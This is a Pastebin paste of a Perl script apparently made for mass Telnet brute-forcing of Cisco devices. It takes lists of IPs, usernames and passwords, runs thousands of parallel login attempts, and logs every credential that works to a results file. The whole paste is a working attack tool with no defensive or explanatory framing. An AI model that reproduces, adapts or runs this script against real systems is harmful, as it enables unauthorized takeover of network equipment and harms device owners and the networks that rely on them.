Advertisement
Guest User

inj3ctor3

a guest
May 7th, 2018
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.18 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Try::Tiny;
  3. use Parallel::ForkManager;
  4. use Net::Telnet::Cisco;
  5. use MCE::Shared;
  6. my @foundip;
  7. my @passlist;
  8. tie @foundip, 'MCE::Shared';
  9. tie @passlist, 'MCE::Shared';
  10. my $ips = $ARGV[0];
  11. my $users = $ARGV[1];
  12. my $passwords = $ARGV[2];
  13. my $filename = "Moslem_last.txt";
  14. my $forkmanager = new Parallel::ForkManager->new("3500");
  15. open( PASS,  "<$ips") || die " Cannot open $ips ! \n";
  16. chomp(@iplist = <PASS>);
  17. close(PASS);
  18. open( USERS,  "<$users") || die " Cannot open $users ! \n";
  19. chomp(@userlist = <USERS>);
  20. close(USERS);
  21. open( PASS,  "<$passwords") || die " Cannot open $users ! \n";
  22. chomp(@passlist = <PASS>);
  23. close(PASS);
  24.  
  25. #$forkmanager->run_on_finish(sub {    # must be declared before first 'start'
  26.  #   my ($pid, $exit_code, $ident, $exit_signal, $core_dump, $data) = @_;
  27.  #   $out{ $data->[0] } = $data->[1];
  28.  #       #print "[onfinish]". $data->[0] ."\n";
  29.  #       if (($data->[1] == -1) or ($data->[1] == 1)) {
  30.  #               push(@foundip,$data->[0]);
  31.  #       }
  32. #
  33. #});
  34. foreach $pass (@passlist){
  35. print "Password : $pass ";
  36. foreach $user (@userlist) {
  37. print "User : $user ";
  38. #foreach $pass (@passlist){
  39. #print "Password : $pass ";
  40. print "File : $ips\n";
  41. foreach $ip (@iplist){
  42. #print "Ip $ip\";
  43.  
  44.  
  45.                 if (!grep {$_ eq $ip} @foundip) {
  46.  
  47.                         $cnt++;
  48.                         my $pid = $forkmanager->start and next;
  49.                         dostuff($ip,$user,$pass);
  50.                         # alarm("20");
  51.  
  52.                         $forkmanager->finish(0);   # Child exits
  53.  
  54.                 }else{
  55.                         #print "!!!!! $line was here\n";
  56.                 }
  57.  
  58.  
  59.  
  60.         }
  61.     }
  62.  
  63. }
  64.  
  65. $forkmanager->wait_all_children();
  66. sub dostuff
  67. {
  68. my $ip = shift;
  69. my $user = shift;
  70. my $pass = shift;
  71. try {
  72. my $session = Net::Telnet::Cisco->new(Host => $ip,
  73. Timeout => '5');
  74. $session->login($user,$pass)|| last;
  75. if ($session) {
  76. #      @output = $session->cmd('show privilege');
  77. #      print "My privileges: @output\n";
  78. print "Logged $ip $user $pass\n";
  79. system("echo $ip $user $pass >>results.txt");
  80. push @foundip, $ip;
  81.  } else {
  82.    #   warn "Can't enable: " . $session->errmsg;
  83.   }
  84.  
  85. }
  86. catch{
  87. }
  88.  
  89. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement